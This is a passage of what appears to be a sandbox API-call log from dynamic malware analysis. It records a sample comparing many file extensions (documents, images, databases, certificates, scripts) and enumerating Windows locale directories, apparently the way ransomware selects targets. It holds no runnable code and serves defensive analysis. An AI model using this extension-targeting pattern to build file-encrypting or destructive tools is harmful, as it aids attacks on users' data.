(lpString1=".hpp", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".hta") returned 4 [0094.163] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".htc") returned 4 [0094.163] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".htm") returned 4 [0094.163] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".html") returned 5 [0094.163] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0094.163] lstrlenW (lpString=".icb") returned 4 [0094.163] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".ics") returned 4 [0094.163] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".iff") returned 4 [0094.163] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".inc") returned 4 [0094.163] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".indd") returned 5 [0094.163] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0094.163] lstrlenW (lpString=".ini") returned 4 [0094.163] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".iqy") returned 4 [0094.163] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".j2c") returned 4 [0094.163] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".j2k") returned 4 [0094.164] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".java") returned 5 [0094.164] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0094.164] lstrlenW (lpString=".jp2") returned 4 [0094.164] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".jpc") returned 4 [0094.164] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".jpe") returned 4 [0094.164] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".jpeg") returned 5 [0094.164] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0094.164] lstrlenW (lpString=".jpf") returned 4 [0094.164] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".jpg") returned 4 [0094.164] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".jpx") returned 4 [0094.164] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".js") returned 3 [0094.164] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0094.164] lstrlenW (lpString=".jsf") returned 4 [0094.164] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".json") returned 5 [0094.164] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0094.164] lstrlenW (lpString=".jsp") returned 4 [0094.164] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".kdc") returned 4 [0094.164] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".kmz") returned 4 [0094.164] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0094.164] lstrlenW (lpString=".kwm") returned 4 [0094.164] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".lasso") returned 6 [0094.165] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0094.165] lstrlenW (lpString=".lbi") returned 4 [0094.165] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".lgf") returned 4 [0094.165] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".lgp") returned 4 [0094.165] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".log") returned 4 [0094.165] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".m1v") returned 4 [0094.165] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".m4a") returned 4 [0094.165] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".m4v") returned 4 [0094.165] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".max") returned 4 [0094.165] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".md") returned 3 [0094.165] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0094.165] lstrlenW (lpString=".mda") returned 4 [0094.165] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mdb") returned 4 [0094.165] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mde") returned 4 [0094.165] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mdf") returned 4 [0094.165] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mdw") returned 4 [0094.165] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mef") returned 4 [0094.165] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0094.165] lstrlenW (lpString=".mft") returned 4 [0094.166] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mfw") returned 4 [0094.166] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mht") returned 4 [0094.166] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mhtml") returned 6 [0094.166] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0094.166] lstrlenW (lpString=".mka") returned 4 [0094.166] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mkidx") returned 6 [0094.166] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0094.166] lstrlenW (lpString=".mkv") returned 4 [0094.166] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mos") returned 4 [0094.166] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mov") returned 4 [0094.166] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mp3") returned 4 [0094.166] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mp4") returned 4 [0094.166] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mpeg") returned 5 [0094.166] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0094.166] lstrlenW (lpString=".mpg") returned 4 [0094.166] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mpv") returned 4 [0094.166] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mrw") returned 4 [0094.166] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".msg") returned 4 [0094.166] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0094.166] lstrlenW (lpString=".mxl") returned 4 [0094.167] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".myd") returned 4 [0094.167] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".myi") returned 4 [0094.167] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".nef") returned 4 [0094.167] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".nrw") returned 4 [0094.167] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".obj") returned 4 [0094.167] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".odb") returned 4 [0094.167] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".odc") returned 4 [0094.167] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".odm") returned 4 [0094.167] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".odp") returned 4 [0094.167] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".ods") returned 4 [0094.167] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".oft") returned 4 [0094.167] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".one") returned 4 [0094.167] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".onepkg") returned 7 [0094.167] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0094.167] lstrlenW (lpString=".onetoc2") returned 8 [0094.167] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0094.167] lstrlenW (lpString=".opt") returned 4 [0094.167] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".oqy") returned 4 [0094.167] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0094.167] lstrlenW (lpString=".orf") returned 4 [0094.168] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".p12") returned 4 [0094.168] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".p7b") returned 4 [0094.168] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".p7c") returned 4 [0094.168] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pam") returned 4 [0094.168] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pbm") returned 4 [0094.168] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pct") returned 4 [0094.168] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pcx") returned 4 [0094.168] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pdd") returned 4 [0094.168] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pdf") returned 4 [0094.168] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pdp") returned 4 [0094.168] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pef") returned 4 [0094.168] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pem") returned 4 [0094.168] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pff") returned 4 [0094.168] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pfm") returned 4 [0094.168] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pfx") returned 4 [0094.168] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0094.168] lstrlenW (lpString=".pgm") returned 4 [0094.168] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".php") returned 4 [0094.169] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".php3") returned 5 [0094.169] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".php4") returned 5 [0094.169] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".php5") returned 5 [0094.169] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".phtml") returned 6 [0094.169] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0094.169] lstrlenW (lpString=".pict") returned 5 [0094.169] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".pl") returned 3 [0094.169] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0094.169] lstrlenW (lpString=".pls") returned 4 [0094.169] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".pm") returned 3 [0094.169] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0094.169] lstrlenW (lpString=".png") returned 4 [0094.169] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".pnm") returned 4 [0094.169] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".pot") returned 4 [0094.169] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".potm") returned 5 [0094.169] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".potx") returned 5 [0094.169] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".ppa") returned 4 [0094.169] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0094.169] lstrlenW (lpString=".ppam") returned 5 [0094.169] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0094.169] lstrlenW (lpString=".ppm") returned 4 [0094.170] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".pps") returned 4 [0094.170] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".ppsm") returned 5 [0094.170] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0094.170] lstrlenW (lpString=".ppt") returned 4 [0094.170] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".pptm") returned 5 [0094.170] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0094.170] lstrlenW (lpString=".pptx") returned 5 [0094.170] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0094.170] lstrlenW (lpString=".prn") returned 4 [0094.170] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".ps") returned 3 [0094.170] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0094.170] lstrlenW (lpString=".psb") returned 4 [0094.170] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".psd") returned 4 [0094.170] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".pst") returned 4 [0094.170] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".ptx") returned 4 [0094.170] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0094.170] lstrlenW (lpString=".pub") returned 4 [0094.458] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0094.458] lstrlenW (lpString=".pwm") returned 4 [0094.458] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0094.458] lstrlenW (lpString=".pxr") returned 4 [0094.458] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0094.459] lstrlenW (lpString=".py") returned 3 [0094.459] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0094.459] lstrlenW (lpString=".qt") returned 3 [0094.459] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0094.459] lstrlenW (lpString=".r3d") returned 4 [0094.459] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0094.459] lstrlenW (lpString=".raf") returned 4 [0094.459] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0094.459] lstrlenW (lpString=".rar") returned 4 [0094.459] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0094.459] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.459] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0094.460] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.460] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0094.460] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.460] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0094.460] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0094.460] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0094.460] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0094.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.461] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0094.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.461] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0094.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.461] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0094.461] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.461] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0094.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.462] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0094.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.462] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0094.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.462] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0094.462] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.462] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0094.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.463] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0094.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.463] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0094.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.463] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0094.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.464] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0094.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.464] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", 